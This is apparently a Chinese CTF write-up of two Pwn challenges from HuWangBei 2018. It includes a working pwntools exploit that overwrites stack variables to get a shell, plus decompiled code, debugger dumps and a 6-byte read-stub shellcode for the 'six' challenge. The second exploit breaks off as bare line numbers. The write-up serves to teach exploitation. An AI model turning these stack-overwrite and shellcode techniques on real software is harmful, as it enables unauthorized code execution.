护网杯2018——WriteUp

好长时间没做CTF的题了,过段时间要去实习了,得抓紧时间熟悉熟悉以前学的,不然太菜会被鄙视的。
这篇文章写得是前段时间刚刚比完的护网杯中的Pwn和Reverse题目的WriteUp。
尽量写吧,不一定都会做,记录一下,以后忘了的时候可以快速回忆。
还有两门考试,一篇报告,惆怅,考完这两门就没课了。还算有点心理安慰。

Pwn

gettingstart

0x00 file && checksec

1
2
3
4
5
6
7
8
9
$ file task_gettingStart_ktQeERc 
task_gettingStart_ktQeERc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped
$ checksec task_gettingStart_ktQeERc
[*] '/home/.../Desktop/gettingstart/task_gettingStart_ktQeERc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

0x01 运行程序,观察程序功能

1
2
3
4
5
$ ./task_gettingStart_ktQeERc 
HuWangBei CTF 2018 will be getting start after 139968784619408 seconds...
But Whether it starts depends on you.
csjkomso
Try again!

0x02 IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
double v8; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0x7FFFFFFFFFFFFFFFLL;
v8 = 1.797693134862316e308;
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL, 1.797693134862316e308);
puts("But Whether it starts depends on you.");
read(0, &buf, 0x28uLL);
if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
{
puts("Try again!");
}
else
{
printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v8);
system("/bin/sh");
}
return 0LL;
}

我们可以看到,程序通过read()函数,向栈上的缓冲区复制了0x28字节的数据,然后判断if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 ),如果成立,输出Try again!并退出,不成立则执行system("/bin/sh")获得shell,所以只要让v7=0x7FFFFFFFFFFFFFFFLLv8=0.1,则获得shell。我们往上看,buf起始地址在rsp+10h,v7起始地址在rsp+28h,v8起始地址在rsp+30h,缓冲区长度为0x28,所以刚好可以构造输入的数据,覆盖v7和v8。这里的关键是0.1在内存中的形式是什么。我们通过IDA的图形视图可以很方便的找到if判断部分的代码:


if判断结构

双击qword_C10,可以跳转到如下所示位置

1
2
3
4
.rodata:0000000000000BF6 aTryAgain       db 'Try again!',0       ; DATA XREF: main:loc_A8E↑o
.rodata:0000000000000C01 align 8
.rodata:0000000000000C08 qword_C08 dq 7FEFFFFFFFFFFFFFh ; DATA XREF: main+4D↑r
.rodata:0000000000000C10 qword_C10 dq 3FB999999999999Ah ; DATA XREF: main+EE↑r

可以看到0.1在内存中的表示为0x3FB999999999999Ah,我们还可以编写一个测试程序,以Hex形式输出0.1的值

1
2
3
4
5
6
#include <stdio.h>
int main()
{
double a = 0.1;
printf("%llx\n", *(long long*)&a);
}

0x03 exp

虽然这道题保护全开,但是对于利用没有阻碍。

1
2
3
4
5
6
7
8
9
10
from pwn import *

#p = remote('117.78.40.144', 32671)
p = process("./task_gettingStart_ktQeERc")
payload = 'A'*0x18
payload += p64(0x7FFFFFFFFFFFFFFF)
payload += p64(0x3FB999999999999A)
p.send(payload)

p.interactive()

0x04 总结

emmmm这道题考察的主要是0.1在内存中的存储形式,具体的可以参考下面的链接。
0.1 in double precision

six

0x00 file && checksec

1
2
3
4
5
6
7
8
9
$ file six
six: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=426dd1b2aab668b73945b91d45568813be69b9c7, stripped
$ checksec six
[*] '/home/.../Desktop/six/six'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全部都开启了。

0x01 观察程序行为

1
2
3
4
$ ./six
Show Ne0 your shellcode:
difjodkfoj
Invalid shellcode!

程序让我们输入一段shellcode,不正确则退出。

0x02 IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void (__fastcall *v3)(__int64, char *); // ST08_8
size_t v4; // rax
char *v5; // rbx
size_t v6; // rax
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v9; // [rsp+18h] [rbp-18h]

v9 = __readfsqword(0x28u);
rand_mmap2(); // 分配两块大小为0x1000的内存,起始地址随机
v3 = dest; // 分配的具有RWX权限内存的起始地址
memset(&s, 0, 8uLL);
puts("Show Ne0 your shellcode:");
read(0, &s, 6uLL); // 输入6个字节shellcode
check_shellcode(&s); // 检查shellcode格式
v4 = strlen(src);
memcpy(dest, src, v4); // 将src处的数据复制到dest,dest具有X权限
v5 = dest;
v6 = strlen(src);
memcpy(&v5[v6], &s, 7uLL); // 将我们输入的shellcode放在src后面
v3(fake_stack, &s); // 调用dest处的shellcode
return 0LL;
}

这里有两个自定义函数,经过分析函数功能,可以知道,第一个函数,也就是rand_mmap2()函数,随机分配了两块大小一样的内存块,不过所拥有的权限的不一样的。第二个函数是check_shellcode(),是对用户输入的shellcode进行格式检查,检查通过,则程序认为是有效的shellcode。下面我们进入这两个函数看一下,首先进入rand_mmap2()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 rand_mmap2()
{
int fd; // ST04_4
__int64 buf; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u); // canary
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
// 从/dev/urandom读取两个随机数,作为分配内存的起始地址
read(fd, &buf, 6uLL);
read(fd, &v3, 6uLL);
dest = mmap((v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);// 分配第一块内存,权限为RWX
fake_stack = mmap((buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 0x500;// 分配第二块内存,权限为RW
return __readfsqword(0x28u) ^ v4;
}

通过搜索,我们知道,此函数从/dev/urandom读取了两个随机数,分别作为将要分配的两块内存的起始地址。这里为什么是6个字节的地址呢,因为64bit的CPU只有48位地址总线,也就是6个字节,64bit的程序只能访问2^48大小的虚拟内存。然后,分配了两块大小为0x1000的内存块,第一块dest的权限为RWX,第二块fake_stack的权限为RW。

接下来,我们进入check_shellcode函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall check_shellcode(__int64 a1)
{
__int64 result; // rax
unsigned int v2; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
signed int i; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]

v2 = 0;
v3 = 0;
for ( i = 0; i <= 5; ++i )
{
if ( *(i + a1) & 1 ) // 该字节最低位为1
++v2;
else // 该字节最低位为0
++v3;
for ( j = i + 1; j <= 5; ++j )
{
if ( *(i + a1) == *(j + a1) )
{
puts("Invalid shellcode!"); // 6个字节互不相同
exit(0);
}
}
}
result = v2;
if ( v2 != v3 )
{
puts("Invalid shellcode!"); // 三个字节为偶数,三个字节为奇数
exit(0);
}
return result;
}

此函数对我们传入的6字节shellcode进行了判断,shellcode应该满足的条件是,6个字节的值会不相等,并且三个字节为偶数,三个字节为奇数,才是有效的shellcode,否则退出。

我们再来看看接下来,主程序做了什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v9 = __readfsqword(0x28u);
rand_mmap2(); // 分配两块大小为0x1000的内存,起始地址随机
v3 = dest; // 分配的具有RWX权限内存的起始地址
memset(&s, 0, 8uLL);
puts("Show Ne0 your shellcode:");
read(0, &s, 6uLL); // 输入6个字节shellcode
check_shellcode(&s); // 检查shellcode格式
v4 = strlen(src);
memcpy(dest, src, v4); // 将src处的数据复制到dest,dest具有X权限
v5 = dest;
v6 = strlen(src);
memcpy(&v5[v6], &s, 7uLL); // 将我们输入的shellcode放在src后面
v3(fake_stack, &s); // 调用dest处的shellcode
return 0LL;

首先程序分配了两块0x1000的内存,然后让我们输入了6字节的shellcode,并对shellcode进行检查。然后将src处的数据复制到刚才分配的具有可执行权限的内存块,然后将我们输入的shellcode接在src的后面,然后执行。不具有可执行权限的内存块用于伪造栈。

通过gdb调试,我们可以知道,当从/dev/urandom读出来的数值较大时,mmap随机进行分配内存块。而当二者均随机分配时,则这两个内存块有可能是相连的。这里第一次分配的内存块在高地址,用于存放shellcode,第二次分配的内存块在低地址,用于伪造栈。至于这里为什么第一次分配的内存块在高地址,而第二次的在低地址,我还没有搞清楚这里面的机制。看的资料都说是随机分配,没找到具体的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
1、第一次调试
00:0000rsp 0x7fffffffdcc0 ◂— 0x300000001
01:00080x7fffffffdcc8 ◂— 0xa563d35f2600 第二块
02:0010rsi 0x7fffffffdcd0 ◂— 0x703df49340fc 第一块
03:00180x7fffffffdcd8 ◂— 0xdd44ac71043c3600
04:0020rbp 0x7fffffffdce0 —▸ 0x7fffffffdd20 —▸ 0x555555554cc0 ◂— push r15
05:00280x7fffffffdce8 —▸ 0x555555554be8 ◂— mov rax, qword ptr [rip + 0x2014a1]
06:00300x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x555555554cc00000
07:00380x7fffffffdcf8 ◂— 0x0

0x555555554aa8 call mmap@plt <0x555555554840>
addr: 0x703df4934000
len: 0x1000
prot: 0x7
flags: 0x22
fd: 0xffffffff
offset: 0x0

第一块分配前
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six
0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six
0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

第一块分配后
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six
0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six
0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six
0x703df4934000 0x703df4935000 rwxp 1000 0 第一块
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

0x555555554adc call mmap@plt <0x555555554840>
addr: 0xa563d35f2000
len: 0x1000
prot: 0x3
flags: 0x22
fd: 0xffffffff
offset: 0x0

第二块分配后
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six
0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six
0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six
0x703df4934000 0x703df4935000 rwxp 1000 0 第一块
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0
0x7ffff7ff6000 0x7ffff7ff7000 rw-p 1000 0 第二块,地址不是/dev/urandom出来的地址,因为数值较大,mmap随机分配
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]


2、第二次调试
00:0000rsp 0x7fffffffdcc0 ◂— 0x300000001
01:00080x7fffffffdcc8 ◂— 0xeccb72e069a9 第二块
02:00100x7fffffffdcd0 ◂— 0xd1c2fd207617 第一块
03:00180x7fffffffdcd8 ◂— 0x4193ac317ff71a00
04:0020rbp 0x7fffffffdce0 —▸ 0x7fffffffdd20 —▸ 0x555555554cc0 ◂— push r15
05:00280x7fffffffdce8 —▸ 0x555555554be8 ◂— mov rax, qword ptr [rip + 0x2014a1]
06:00300x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x555555554cc00000
07:00380x7fffffffdcf8 ◂— 0x0


第一块分配前
0x555555554aa8 call mmap@plt <0x555555554840>
addr: 0xd1c2fd207000
len: 0x1000
prot: 0x7
flags: 0x22
fd: 0xffffffff
offset: 0x0

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six
0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six
0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

第一块分配后
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six
0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six
0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0
0x7ffff7ff6000 0x7ffff7ff7000 rwxp 1000 0 第一块
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

第二块分配前
0x555555554adc call mmap@plt <0x555555554840>
addr: 0xeccb72e06000
len: 0x1000
prot: 0x3
flags: 0x22
fd: 0xffffffff
offset: 0x0

第二块分配后
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six
0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six
0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0
0x7ffff7ff5000 0x7ffff7ff6000 rw-p 1000 0 第二块
0x7ffff7ff6000 0x7ffff7ff7000 rwxp 1000 0 第一块
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

我们看看,src处的数据到底是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.data:0000000000202020 src             db 48h ; H                 ; DATA XREF: main+71↑o
.data:0000000000202020 ; main+87↑o ...
.data:0000000000202021 db 89h
.data:0000000000202022 db 0FCh
.data:0000000000202023 db 48h ; H
.data:0000000000202024 db 31h ; 1
.data:0000000000202025 db 0EDh
.data:0000000000202026 db 48h ; H
.data:0000000000202027 db 31h ; 1
.data:0000000000202028 db 0C0h
.data:0000000000202029 db 48h ; H
.data:000000000020202A db 31h ; 1
.data:000000000020202B db 0DBh
.data:000000000020202C db 48h ; H
.data:000000000020202D db 31h ; 1
.data:000000000020202E db 0C9h
.data:000000000020202F db 48h ; H
.data:0000000000202030 db 31h ; 1
.data:0000000000202031 db 0D2h
.data:0000000000202032 db 48h ; H
.data:0000000000202033 db 31h ; 1
.data:0000000000202034 db 0FFh
.data:0000000000202035 db 48h ; H
.data:0000000000202036 db 31h ; 1
.data:0000000000202037 db 0F6h
.data:0000000000202038 db 4Dh ; M
.data:0000000000202039 db 31h ; 1
.data:000000000020203A db 0C0h
.data:000000000020203B db 4Dh ; M
.data:000000000020203C db 31h ; 1
.data:000000000020203D db 0C9h
.data:000000000020203E db 4Dh ; M
.data:000000000020203F db 31h ; 1
.data:0000000000202040 db 0D2h
.data:0000000000202041 db 4Dh ; M
.data:0000000000202042 db 31h ; 1
.data:0000000000202043 db 0DBh
.data:0000000000202044 db 4Dh ; M
.data:0000000000202045 db 31h ; 1
.data:0000000000202046 db 0E4h
.data:0000000000202047 db 4Dh ; M
.data:0000000000202048 db 31h ; 1
.data:0000000000202049 db 0EDh
.data:000000000020204A db 4Dh ; M
.data:000000000020204B db 31h ; 1
.data:000000000020204C db 0F6h
.data:000000000020204D db 4Dh ; M
.data:000000000020204E db 31h ; 1
.data:000000000020204F db 0FFh
.data:0000000000202050 db 0
.data:0000000000202051 db 0

这里四种方法(我知道的)可以将一串16进制机器码转换为汇编代码:

1、直接使用IDA进行转换,工具条或者快捷键
2、使用nasm的ndisasm进行反汇编,ndisasm.exe -b 64 文件名,文件为包含机器码的bin文件
3、使用Pwndbg的disasm命令,disasm -c amd64 ‘str’,str为机器码16进制字符串
4、使用pwntools的disasm(),print disasm(‘str’.decode(‘hex’),arch = ‘amd64’),str同样为机器码16进制字符串

既然src的数据可以执行,我们将这串机器码反汇编,然后得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
1、IDA转换
.data:0000000000202021 48 89 FC mov rsp, rdi
.data:0000000000202023 48 31 ED xor rbp, rbp
.data:0000000000202026 48 31 C0 xor rax, rax
.data:0000000000202029 48 31 DB xor rbx, rbx
.data:000000000020202C 48 31 C9 xor rcx, rcx
.data:000000000020202F 48 31 D2 xor rdx, rdx
.data:0000000000202032 48 31 FF xor rdi, rdi
.data:0000000000202035 48 31 F6 xor rsi, rsi
.data:0000000000202038 4D 31 C0 xor r8, r8
.data:000000000020203B 4D 31 C9 xor r9, r9
.data:000000000020203E 4D 31 D2 xor r10, r10
.data:0000000000202041 4D 31 DB xor r11, r11
.data:0000000000202044 4D 31 E4 xor r12, r12
.data:0000000000202047 4D 31 ED xor r13, r13
.data:000000000020204A 4D 31 F6 xor r14, r14
.data:000000000020204D 4D 31 FF xor r15, r15

2、ndisasm转换
λ ndisasm.exe -b 64 lblb.bin
00000000 4889FC mov rsp,rdi
00000003 4831ED xor rbp,rbp
00000006 4831C0 xor rax,rax
00000009 4831DB xor rbx,rbx
0000000C 4831C9 xor rcx,rcx
0000000F 4831D2 xor rdx,rdx
00000012 4831FF xor rdi,rdi
00000015 4831F6 xor rsi,rsi
00000018 4D31C0 xor r8,r8
0000001B 4D31C9 xor r9,r9
0000001E 4D31D2 xor r10,r10
00000021 4D31DB xor r11,r11
00000024 4D31E4 xor r12,r12
00000027 4D31ED xor r13,r13
0000002A 4D31F6 xor r14,r14
0000002D 4D31FF xor r15,r15

3、pwndbg的disasm转换
pwndbg> disasm -c amd64 '4889FC4831ED4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF'
0: 48 89 fc mov rsp, rdi
3: 48 31 ed xor rbp, rbp
6: 48 31 c0 xor rax, rax
9: 48 31 db xor rbx, rbx
c: 48 31 c9 xor rcx, rcx
f: 48 31 d2 xor rdx, rdx
12: 48 31 ff xor rdi, rdi
15: 48 31 f6 xor rsi, rsi
18: 4d 31 c0 xor r8, r8
1b: 4d 31 c9 xor r9, r9
1e: 4d 31 d2 xor r10, r10
21: 4d 31 db xor r11, r11
24: 4d 31 e4 xor r12, r12
27: 4d 31 ed xor r13, r13
2a: 4d 31 f6 xor r14, r14
2d: 4d 31 ff xor r15, r15

4、pwntools的disasm()转换
>>> print disasm('4889FC4831ED4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF'.decode('hex'),arch = 'amd64')
0: 48 89 fc mov rsp,rdi
3: 48 31 ed xor rbp,rbp
6: 48 31 c0 xor rax,rax
9: 48 31 db xor rbx,rbx
c: 48 31 c9 xor rcx,rcx
f: 48 31 d2 xor rdx,rdx
12: 48 31 ff xor rdi,rdi
15: 48 31 f6 xor rsi,rsi
18: 4d 31 c0 xor r8,r8
1b: 4d 31 c9 xor r9,r9
1e: 4d 31 d2 xor r10,r10
21: 4d 31 db xor r11,r11
24: 4d 31 e4 xor r12,r12
27: 4d 31 ed xor r13,r13
2a: 4d 31 f6 xor r14,r14
2d: 4d 31 ff xor r15,r15

我们可以看到,src处的代码功能为,将esp指向分配的具有可执行权限的内存块,并且将其他寄存器清0。执行完上述代码,就开始执行我们输入的6字节shellcode,6个字节直接获取shell是不可能的了,所以我们换种思路。通过调用0号系统调用read,将用于获取shell交互的shellcode读入一块可执行内存中,并且调用。我们从rsp开始写入数据,一直写到rip所指向的位置,就可以执行获取shell的shellcode了。

调用read的代码如下,也就是那六个字节的shellcode。

1
2
3
4
5
0:    54           push   rsp
1: 5e pop rsi
2: 89 f2 mov edx, esi
4: 0f 05 syscall
;54 5e 89 f2 0f 05

接下来获取shell的shellcode,有两种方式,一种是直接使用pwntools生成的shellcode,另一种则是调用系统调用execve(/bin/sh).由于此利用方法的局限性,并不能每次都执行成功,只有当从/dev/urandom读出的两个地址都超出0x00007FFFFFFFFFFF时,mmap才会随机分配两块内存,才能满足利用的条件。

0x03 exp

下面是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
